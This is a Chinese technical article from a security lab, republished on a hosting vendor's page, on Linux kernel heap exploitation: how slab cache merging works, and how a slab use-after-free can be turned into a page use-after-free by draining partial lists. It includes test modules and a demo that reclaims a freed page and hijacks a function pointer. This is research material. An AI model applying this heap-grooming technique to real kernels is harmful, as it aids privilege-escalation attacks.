行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
Linux 内核利用技巧: Slab UAF to Page UAF
2023-02-03 11:52:06 【

author: 熊潇 of IceSword Lab

本文研究了内核编译选项 CONFIG_SLAB_MERGE_DEFAULT 对 kmem_cache 分配的影响.

以及开启该配置的时候, slab UAF 的一种利用方案 (方案来源, 本文内容基于 Linux-5.10.90).

阅读前, 需要对 slab/slub, Buddy system 有基本的了解.

  • Part. 1: 源码分析

  • Part. 2: CONFIG_SLAB_MERGE_DEFAULT 配置对比测试

  • Part. 3: 跨 slab 的 UAF 利用示例

Part. 1

创建 struct kmem_cache 的时候,有两种情况:

  • __kmem_cache_alias : 跟现有的共用(mergeable)

  • create_cache : 创建一个新的

kmem_cache_create(..)    kmem_cache_create_usercopy(..)        if (!usersize) // usersize == 0            s = __kmem_cache_alias(name, size, align, flags, ctor); // s 为 NULL 才会创建新的 slabif (s)            goto out_unlock;        create_cache()// 进入 `__kmem_cache_alias` 看看__kmem_cache_alias(..)    // 检查 CONFIG_SLAB_MERGE_DEFAULT 配置;// 如果开启了,则通过 sysfs_slab_alias 找到已经创建的相同大小的 slab 作为替代    s = find_mergeable(..)        list_for_each_entry_reverse(s, &slab_caches, list) {            if (slab_unmergeable(s)) // slab_nomerge 为 true 时 return 1;continue;              ...             return s;        }        returnNULL; // slab_nomerge 为 true 的时候返回 NULLif(s)                  ...        sysfs_slab_alias(..)    return s;// CONFIG_SLAB_MERGE_DEFAULT=y -> slab_nomerge == false// CONFIG_SLAB_MERGE_DEFAULT=n -> slab_nomerge == truestaticbool slab_nomerge = !IS_ENABLED(CONFIG_SLAB_MERGE_DEFAULT);// https://cateee.net/lkddb/web-lkddb/SLAB_MERGE_DEFAULT.html// CONFIG_SLAB_MERGE_DEFAULT: Allow slab caches to be merged// For reduced kernel memory fragmentation, slab caches can be merged // when they share the same size and other characteristics. // This carries a risk of kernel heap overflows being able to // overwrite objects from merged caches (and more easily control cache layout), // which makes such heap attacks easier to exploit by attackers.

Part.2

测试 CONFIG_SLAB_MERGE_DEFAULT 的影响

Host 主机(开启了配置):

└─[$] uname -r5.15.0-52-generic└─[$] cat /boot/config-$(uname -r) |grep CONFIG_SLAB_MERGE_DEFAULT      CONFIG_SLAB_MERGE_DEFAULT=y

VM (未开启配置):

➜  ~ uname -r5.10.90└─[$] cat .config|grep CONFIG_SLAB_MERGE_DEFAULT       # CONFIG_SLAB_MERGE_DEFAULT is not set
  • code

    #include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/mm.h>#include<linux/slab.h>#include<linux/slub_def.h>#include<linux/sched.h>#define OBJ_SIZE 256#define OBJ_NUM ((PAGE_SIZE/OBJ_SIZE) * 3)structmy_struct {char data[OBJ_SIZE];  };  staticstructkmem_cache *my_cachep;staticstructmy_struct *ms[OBJ_NUM];staticint __init km_init(void){      int i, cpu;      structkmem_cache_cpu *c;structpage *pg;      pr_info("Hello\n");          my_cachep = kmem_cache_create("my_struct",              sizeof(struct my_struct), 0,              SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,              NULL);      pr_info("my_cachep: %px, %s\n", my_cachep, my_cachep->name);      pr_info("my_cachep.size: %u\n", my_cachep->size);      pr_info("my_cachep.object_size: %u\n", kmem_cache_size(my_cachep));      cpu = get_cpu();      pr_info("cpu: %d\n", cpu);      c = per_cpu_ptr(my_cachep->cpu_slab, cpu);      for(i = 0; i<OBJ_NUM; i++){          ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);          pg = virt_to_page(ms[i]);          pr_info("[%02d] object: %px, page: %px(%px), %d\n", i, ms[i],                  pg, page_address(pg),                  (void *)pg == (void *)c->page);      }      return0;  }  staticvoid __exit km_exit(void)  {      int i;      for( i = 0; i<OBJ_NUM; i++){          kmem_cache_free(my_cachep, ms[i]);      }      kmem_cache_destroy(my_cachep);      pr_info("Bye\n");  }  module_init(km_init);  module_exit(km_exit);  MODULE_LICENSE("GPL");  MODULE_AUTHOR("X++D");  MODULE_DESCRIPTION("Kernel xxx Module.");  MODULE_VERSION("0.1");


  • VM result

    分配的 object 地址和 page 的关系非常清晰

      ➜  ~ insmod slab-tc.ko  [ 1184.983757] Hello  [ 1184.984278] my_cachep: ffff8880096ea000, my_struct  [ 1184.985568] my_cachep.size: 256  [ 1184.986451] my_cachep.object_size: 256  [ 1184.987488] cpu: 0  **[ 1184.988945] [00] object: ffff888005c38000, page: ffffea0000170e00(ffff888005c38000), 1**  [ 1184.991189] [01] object: ffff888005c38100, page: ffffea0000170e00(ffff888005c38000), 1  [ 1184.993438] [02] object: ffff888005c38200, page: ffffea0000170e00(ffff888005c38000), 1  [ 1184.995688] [03] object: ffff888005c38300, page: ffffea0000170e00(ffff888005c38000), 1  [ 1184.998018] [04] object: ffff888005c38400, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.000234] [05] object: ffff888005c38500, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.002529] [06] object: ffff888005c38600, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.004702] [07] object: ffff888005c38700, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.006841] [08] object: ffff888005c38800, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.008919] [09] object: ffff888005c38900, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.010944] [10] object: ffff888005c38a00, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.013021] [11] object: ffff888005c38b00, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.014904] [12] object: ffff888005c38c00, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.016926] [13] object: ffff888005c38d00, page: ffffea0000170e00(ffff888005c38000), 1  [ 1185.018883] [14] object: ffff888005c38e00, page: ffffea0000170e00(ffff888005c38000), 1  **[ 1185.020761] [15] object: ffff888005c38f00, page: ffffea0000170e00(ffff888005c38000), 1**  **[ 1185.022735] [16] object: ffff88800953d000, page: ffffea0000254f40(ffff88800953d000), 1**  [ 1185.024679] [17] object: ffff88800953d100, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.026579] [18] object: ffff88800953d200, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.028528] [19] object: ffff88800953d300, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.030443] [20] object: ffff88800953d400, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.032372] [21] object: ffff88800953d500, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.034263] [22] object: ffff88800953d600, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.036116] [23] object: ffff88800953d700, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.038086] [24] object: ffff88800953d800, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.039929] [25] object: ffff88800953d900, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.041944] [26] object: ffff88800953da00, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.043852] [27] object: ffff88800953db00, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.045736] [28] object: ffff88800953dc00, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.047678] [29] object: ffff88800953dd00, page: ffffea0000254f40(ffff88800953d000), 1  [ 1185.049585] [30] object: ffff88800953de00, page: ffffea0000254f40(ffff88800953d000), 1  **[ 1185.051391] [31] object: ffff88800953df00, page: ffffea0000254f40(ffff88800953d000), 1**  **[ 1185.053206] [32] object: ffff888009543000, page: ffffea00002550c0(ffff888009543000), 1**  [ 1185.055038] [33] object: ffff888009543100, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.056666] [34] object: ffff888009543200, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.058430] [35] object: ffff888009543300, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.060174] [36] object: ffff888009543400, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.061955] [37] object: ffff888009543500, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.063694] [38] object: ffff888009543600, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.065468] [39] object: ffff888009543700, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.067231] [40] object: ffff888009543800, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.068930] [41] object: ffff888009543900, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.070600] [42] object: ffff888009543a00, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.072224] [43] object: ffff888009543b00, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.073911] [44] object: ffff888009543c00, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.075534] [45] object: ffff888009543d00, page: ffffea00002550c0(ffff888009543000), 1  [ 1185.077211] [46] object: ffff888009543e00, page: ffffea00002550c0(ffff888009543000), 1  **[ 1185.078887] [47] object: ffff888009543f00, page: ffffea00002550c0(ffff888009543000), 1**

    有独立的 sysfs 目录

      ➜  ~ file /sys/kernel/slab/my_struct  /sys/kernel/slab/my_struct: directory  ➜  ~ file /sys/kernel/slab/pool_workqueue  /sys/kernel/slab/pool_workqueue: directory


  • Host result

    分配的 obj 位于的 page 地址非常杂乱,my_cachep 的 name 也变成了 pool_workqueue

      [435532.063645] Hello  [435532.063655] my_cachep: ffff8faf40045900, pool_workqueue  [435532.063658] my_cachep.size: 256  [435532.063659] my_cachep.object_size: 256  [435532.063660] cpu: 0  [435532.063662] [00] object: ffff8fafb100b400, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063664] [01] object: ffff8fafb100a700, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063666] [02] object: ffff8fafb100ae00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063668] [03] object: ffff8fafb100b900, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063670] [04] object: ffff8fafb100be00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063672] [05] object: ffff8fafb100bf00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063674] [06] object: ffff8fafb100af00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063676] [07] object: ffff8fafb100ad00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063677] [08] object: ffff8fafb100bc00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063679] [09] object: ffff8fafb100a600, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063681] [10] object: ffff8fafb100a800, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063683] [11] object: ffff8fafb100a000, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063685] [12] object: ffff8fafb100ab00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063687] [13] object: ffff8fafb100b300, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063689] [14] object: ffff8fafb100a900, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063690] [15] object: ffff8fafb100b000, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063692] [16] object: ffff8fafb100a100, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063694] [17] object: ffff8fafb100b100, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063696] [18] object: ffff8fafb100b500, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063698] [19] object: ffff8fafb100bd00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063700] [20] object: ffff8fafb100ba00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063702] [21] object: ffff8fafb100b700, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063703] [22] object: ffff8fafb100a200, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063705] [23] object: ffff8fafb100b200, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063707] [24] object: ffff8fafb100bb00, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063709] [25] object: ffff8fafb100aa00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063711] [26] object: ffff8fafb100a500, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063713] [27] object: ffff8fafb100b600, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063714] [28] object: ffff8fafb100b800, page: ffffd50545c402c0(ffff8fafb100b000), 0  [435532.063716] [29] object: ffff8fafb100a400, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063718] [30] object: ffff8fafb100ac00, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063720] [31] object: ffff8fafb100a300, page: ffffd50545c40280(ffff8fafb100a000), 1  [435532.063724] [32] object: ffff8faf488fec00, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063726] [33] object: ffff8faf488fe400, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063728] [34] object: ffff8faf488ff800, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063730] [35] object: ffff8faf488ff600, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063732] [36] object: ffff8faf488fe500, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063734] [37] object: ffff8faf488fea00, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063736] [38] object: ffff8faf488ffb00, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063737] [39] object: ffff8faf488ff200, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063739] [40] object: ffff8faf488fe200, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063741] [41] object: ffff8faf488ff700, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063743] [42] object: ffff8faf488ffa00, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063745] [43] object: ffff8faf488ff400, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063747] [44] object: ffff8faf488fe700, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063749] [45] object: ffff8faf488fee00, page: ffffd50544223f80(ffff8faf488fe000), 1  [435532.063750] [46] object: ffff8faf488ff900, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.063752] [47] object: ffff8faf488ffe00, page: ffffd50544223fc0(ffff8faf488ff000), 0  [435532.065672] Bye

    sysfs 目录也是和 pool_workqueue 共用的

      └─[$] file /sys/kernel/slab/my_struct                /sys/kernel/slab/my_struct: symbolic link to :0000256  └─[$] file /sys/kernel/slab/pool_workqueue   /sys/kernel/slab/pool_workqueue: symbolic link to :0000256


Part. 3

根据前两个部分知道,开启 CONFIG_SLAB_MERGE_DEFAULT 配置后,不同类型的 kmem_cache 的内存完全隔离.

这种情况下,想要占据被释放的 slab object 内存(比如一个 struct file) 只能通过申请相同的 slab object,

而像 struct file 这样的内存,用户态可以操纵的内容非常有限,

解决办法是: 占据目标 object (e.g. struct file) 所在的整个 page,在 object invalid free 之后 free 掉同页面其他 object,再满足一系列条件 就可以让整个 page 被 buddy system 回收,并被重新申请


条件一:

目标 object 所在的 page 不是 s->cpu_slab->page

static __always_inline voiddo_slab_free(struct kmem_cache *s,                struct page *page, void *head, void *tail,                int cnt, unsignedlong addr){...    c = raw_cpu_ptr(s->cpu_slab);...    **if (likely(page == c->page)) {**    ...    } else      __slab_free(s, page, head, tail_obj, cnt, addr);    ...

条件二:

object 所在 page 满足 page->pobjects > (s)->cpu_partial

// #define slub_cpu_partial(s) ((s)->cpu_partial)staticvoidput_cpu_partial(struct kmem_cache *s, struct page *page, int drain)...    oldpage = this_cpu_read(s->cpu_slab->partial);    pobjects = oldpage->pobjects;    **if (drain && pobjects > slub_cpu_partial(s)) {**        ...        unfreeze_partials(s, this_cpu_ptr(s->cpu_slab));

条件三:

object 所在 page 位于 freelist 且 page.inuse为 0

staticvoidunfreeze_partials(struct kmem_cache *s,        struct kmem_cache_cpu *c){...        while ((page = slub_percpu_partial(c))) {...                **if (unlikely(!new.inuse && n->nr_partial >= s->min_partial)) {**            page->next = discard_page;            **discard_page = page;**        } else {...        }      }...        while (discard_page) {        page = discard_page;        discard_page = discard_page->next;        stat(s, DEACTIVATE_EMPTY);        **discard_slab(s, page);**        stat(s, FREE_SLAB);    }

触发方法:

  • 创建一批 objects 占满 cpu_partial + 2 个 pages, 保证 free 的时候 page->pobjects > (s)->cpu_partial

  • 创建 objects 占据一个新的 page ,但不占满,保证 c->page 指向这个 page

  • free 掉一个 page 的所有 objects, 使这个 page 的 page.inuse == 0

  • 剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page

代码如下:

/* * * 通过 free slab objects free 掉一个 page, 然后 UAF 利用 *➜  ~ uname -r5.10.90 * */#include<linux/module.h>#include<linux/kernel.h>#include<linux/init.h>#include<linux/mm.h>#include<linux/slab.h>#include<linux/slub_def.h>#include<linux/sched.h>#define OBJ_SIZE 256#define OBJ_NUM (16 * 16)structmy_struct {union {char data[OBJ_SIZE];        struct {void (*func)(void);            char paddings[OBJ_SIZE - 8];        };    };} __attribute__((aligned(OBJ_SIZE)));staticstructkmem_cache *my_cachep;structmy_struct **tmp_ms;structmy_struct *ms;structmy_struct *random_ms;structpage *target;voidhello_func(void){    pr_info("Hello\n");}voidhack_func(void){    pr_info("Hacked\n");}staticint __init km_init(void){#define OO_SHIFT    16#define OO_MASK     ((1 << OO_SHIFT) - 1)int i, cpu_partial, objs_per_slab;    structpage *target;structpage *realloc;void *p;    tmp_ms = kmalloc(OBJ_NUM * 8, GFP_KERNEL);    my_cachep = kmem_cache_create("my_struct", sizeof(struct my_struct), 0,    SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT,NULL);    pr_info("%s\n", my_cachep->name);    pr_info("cpu_partial: %d\n", my_cachep->cpu_partial);    pr_info("objs_per_slab: %u\n", my_cachep->oo.x & OO_MASK);    pr_info("\n");    cpu_partial = my_cachep->cpu_partial;    objs_per_slab = my_cachep->oo.x & OO_MASK;    random_ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);    // 16 * 14for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);    }    // 15for(i = (objs_per_slab * (cpu_partial + 1));            i < objs_per_slab * (cpu_partial + 2) - 1; i++){        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);    }    // free normal object    ms = kmem_cache_alloc(my_cachep, GFP_KERNEL);    target = virt_to_page(ms);    pr_info("target page: %px\n", target);    ms->func = (void *)hello_func;    ms->func();    kmem_cache_free(my_cachep, ms);    // 17for(i = objs_per_slab * (cpu_partial + 2) - 1;            i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){        tmp_ms[i] = kmem_cache_alloc(my_cachep, GFP_KERNEL);    }        // free pagefor(i = (objs_per_slab * (cpu_partial + 1));            i < objs_per_slab * (cpu_partial + 2) - 1; i++){        kmem_cache_free(my_cachep, tmp_ms[i]);        tmp_ms[i] = NULL;    }    for(i = objs_per_slab * (cpu_partial + 2) - 1;            i < objs_per_slab * (cpu_partial + 2) - 1 + (objs_per_slab + 1); i++){        kmem_cache_free(my_cachep, tmp_ms[i]);        tmp_ms[i] = NULL;    }    for(i = 0; i < (objs_per_slab * (cpu_partial + 1)); i++){        if(i % objs_per_slab == 0){            kmem_cache_free(my_cachep, tmp_ms[i]);            tmp_ms[i] = NULL;        }    }    // in other evil taskrealloc = alloc_page(GFP_KERNEL);    if(realloc == target){        pr_info("[+] Realloc success!!!\n");    }else{        return0;    }    p = page_address(realloc);    for(i = 0; i< PAGE_SIZE/8; i++){        ((void **)p)[i] = (void *)hack_func;    }    // UAFif(0)        return;    else        ms->func();    free_page((unsignedlong)p);    return0;}staticvoid __exit km_exit(void){    int i;    for(i = 0; i < OBJ_NUM; i++){        if(tmp_ms[i])            kmem_cache_free(my_cachep, tmp_ms[i]);    }    kmem_cache_free(my_cachep, random_ms);    kmem_cache_destroy(my_cachep);    kfree(tmp_ms);    pr_info("Bye\n");}module_init(km_init);module_exit(km_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("X++D");MODULE_DESCRIPTION("Kernel xxx Module.");MODULE_VERSION("0.1");


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇2022年工业控制网络安全态势白皮书 下一篇Google Fi 遭到破坏,客户数据遭..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800